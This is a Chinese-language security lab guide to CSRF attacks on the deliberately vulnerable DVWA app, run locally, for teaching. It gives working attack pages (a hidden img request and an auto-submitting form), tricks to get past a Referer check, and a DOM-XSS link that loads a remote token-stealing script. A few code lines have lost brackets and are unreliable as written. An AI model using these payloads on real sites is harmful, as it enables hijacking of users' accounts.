一、实验目的
-
掌握跨站请求伪造漏洞的形成的原因或者条件;
-
掌握跨站请求伪造漏洞的的利用方法;
-
掌握跨站请求伪造漏洞的防范方法。
二、实验原理
CSRF 是攻击者利用用户的名义进行某些非法操作,其是在用户已经与具有 CSRF 漏洞的 WEB 服务器已经建立了会话,在不知情的情况下点击了诈骗的链 接,而 WEB 应用程序没有对用户提交的请求进行验证,导致执行了非法操作。
三、实验环境(同机模拟双机)
1. 受害站(DVWA)
软件:phpstudy2018
2. 攻击站(恶意页面)
软件:phpstudy_pro
核心思想:虽然是同一台机器,但端口不同,浏览器会把它们视为不同源:
127.0.0.1 → 受害站
127.0.0.1:8888 → 攻击站
四、实验前准备
1. 配置 phpstudy2018(受害站)
启动 phpstudy2018服务,将DVWA 解压到 phpstudy2018 网站根目录D:\phpStudy\PHPTutorial\WWW\dvwa,并安装。
2. 配置 phpstudy_pro(攻击站)
启动 phpstudy_pro,启动 Web 服务。
3. 验证两个站点都能访问
启动Burpsuite,访问两个站点,如果都能正常打开,说明环境可用。
受害站访问:http://127.0.0.1/dvwa/
攻击站访问:http://127.0.0.1:8888/
五、Low 级别 CSRF 实验
1. 设置 DVWA 为 Low
登录 DVWA 后,点击左侧:DVWA Security
把安全级别改成:Low,提交保存。
2. 观察正常修改密码请求
进入:CSRF
在页面中输入新密码,并再次确认输入,例:

• New Password: 123456
• Confirm New Password: 123456
点击 Change,观察地址栏显示:
这说明:
• 修改密码使用 GET 请求
• 参数名是:
o password_new
o password_conf
o Change
Low 级别下没有额外防护。
单击Test Credentials,进入密码验证页面

输入用户名admin和修改后的密码测试:

3. 构造 Low 攻击页面
启动vscode,在攻击站根目录www 中创建:low.html
内容如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>领奖页面</title>
</head>
<body>
<h2>恭喜你中奖了!</h2>
<p>页面加载中,请稍候......</p>
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=**lowpass** &password_conf=lowpass &Change=Change" style="display:none;">
</body>
</html>
提交截图,截图包含vscode中的文档目录和代码内容,并对实验结果进行分析。

- 项目目录:www站点根目录下存在low.html,和 DVWA 项目同级,攻击文件部署在攻击站点网站目录;
- 代码实现:利用隐藏<img>标签,src属性直接拼接完整改密 GET 接口,display:none;实现页面不可见、后台静默发送请求,页面展示中奖诱导文案欺骗用户访问。
4. 触发攻击
确保当前浏览器里仍然保持 DVWA 登录状态,然后访问攻击页:
http://127.0.0.1:8888/low.html
页面加载时,img 会自动向 DVWA 发起请求。
浏览器会自动附带 DVWA 的 Cookie,所以服务器会认为这是登录用户本人发起的操作。
5. 验证结果
单击Test Credentials,进入密码验证页面,输入用户名admin,密码lowpass
若显示Valid password for 'admin' **,**说明 Low 级别漏洞复现成功。
若显示**Wrong password for 'admin',**说明攻击无效,可更换payload:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="referrer" content="unsafe-url">
<title> 系统消息</title>
</head>
<body>
<h3> 正在进行安全检测...</h3>
<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value=" lowpass ">
<input type="hidden" name="password_conf" value=" lowpass ">
<input type="hidden" name="Change" value="Change">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

一、Low 级别实验结果分析
- 实验现象
攻击页面使用 img 标签或自动提交表单访问改密接口,保持 DVWA 登录状态访问127.0.0.1:8888/low.html后,admin 账户密码成功修改为lowpass,密码校验页面验证通过;Burp 抓包可见跨域请求自动携带 DVWA 会话 Cookie。
六、Medium 级别 CSRF 实验
1. 设置 DVWA 为 Medium
回到:DVWA Security,把安全级别设为:Medium保存。
2. Medium 级别的防护特点
Medium 一般会增加对 Referer 的简单检查。
它的逻辑常见形式是:
if (stripos(_SERVER\['HTTP_REFERER'\], _SERVER'SERVER_NAME') !== false)
3.构造 Medium 攻击页面
创建medium.html
内容如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="referrer" content="unsafe-url">
<title> 系统消息</title>
</head>
<body>
<h3> 正在进行安全检测...</h3>
<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value=" mediumpass ">
<input type="hidden" name="password_conf" value=" mediumpass ">
<input type="hidden" name="Change" value="Change">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
4. 触发 Medium 攻击
保持 DVWA 登录状态,访问:http://127.0.0.1:8888/medium.html
若 DVWA 的 Medium 仅做弱 Referer 检查,则该请求很可能成功。
5. 验证结果
单击Test Credentials,进入密码验证页面,输入用户名admin,密码mediumpass
测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第一次实验结果分析(直接 medium.html 访问成功原因)
- 防护机制缺陷
DVWA-Medium 仅用stripos做子串模糊匹配,只校验 Referer 里是否存在站点 IP 字符串,不校验端口、完整域名路径。
- 页面 meta 标签作用:<meta name="referrer" content="unsafe-url">,保证浏览器完整携带 Referer 来源地址,Referer 正常带出攻击页全链接,没有丢失 IP 字段,是攻击成功的辅助条件。
- 实验结论:Medium 的 Referer 子串校验方案天然存在漏洞,同 IP、不同端口的 CSRF 请求可直接绕过防护,初次访问即可完成密码篡改。
修改攻击地址为:本机ip:8888/medium.html,再次测试,查看是否成功。
若不成功,则将medium.html文件名修改为127.0.0.1.html。再次测试。
再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第二次实验结果分析(修改文件名 127.0.0.1.html)
- 现象:将文件名改为127.0.0.1.html,Referer 变为http://127.0.0.1:8888/127.0.0.1.html,Referer 内重复出现目标 IP 字符串,同样满足stripos匹配,攻击依旧成功。
- 对比总结:
- 第一次成功:根源是同 IP 跨端口 + 模糊匹配校验,Referer 自带目标 IP 字段;
- 第二次是另一种绕过思路:文件名写入目标 IP,即使跨网段 / 跨 IP 环境,也能让 Referer 包含目标 IP 实现绕过。
七、High 级别 CSRF 实验
1. 受害机中设置 DVWA 为 High
进入:DVWA Security,设置为:High,保存。
2. 观察 High 页面差异
进入 CSRF 页面后,查看源码或用开发者工具检查表单。
通常可以看到一个隐藏字段:
<input type="hidden" name="user_token" value="xxxxxxxxxxxxxxxx">
这说明 High 已引入 CSRF Token 防护。
3. 结合 XSS 读取 Token
Token 防御使得纯 CSRF 无法直接利用。需要配合同域 XSS 漏洞,若攻击者能在 DVWA 同域下执行 JavaScript,就可以请求 CSRF 页面、读取页面中的 user_token、携带 Token 发起修改密码请求。
在攻击机根目录创建csrf.js文件,内容为:
// 第一步:获取 CSRF 页面,从中提取 user_token
var xhr1 = new XMLHttpRequest();
xhr1.onreadystatechange = function() {
if (xhr1.readyState == 4 && xhr1.status == 200) {
// 解析 HTML,提取 token
var parser = new DOMParser();
var doc = parser.parseFromString(xhr1.responseText, "text/html");
var token = doc.getElementsByName("user_token")0.value;
// 第二步:携带 token 发起修改密码请求
var url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/"
+ "?password_new= csrf123 &password_conf= csrf123 "
+ "&Change=Change&user_token=" + token;
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", url, true);
xhr2.withCredentials = true;
xhr2.send();
}
};
xhr1.open("GET", "http://127.0.0.1/dvwa/vulnerabilities/csrf/", true);
xhr1.withCredentials = true;
xhr1.send();
在受害机中进入xss(DOM),在地址栏中生成攻击链接,并提交:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=\<script src="http://127.0.0.1:8888/csrf.js"></script>
4. 验证结果
在受害机中进入CSRF,单击Test Credentials,进入密码验证页面,输入用户名admin,密码csrf123
如果成功,说明 High 级绕过成功。
测试,提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

三、High 级别实验结果分析
- 实验现象分析
单独使用 Low/Medium 的 CSRF 页面无法修改密码;利用 DOM-XSS 引入远程csrf.js脚本,JS 在 DVWA 同域环境运行,自动抓取页面user_token并拼接参数提交,密码成功修改为csrf123。Burp 数据包中改密请求携带合法随机 token 与会话 Cookie。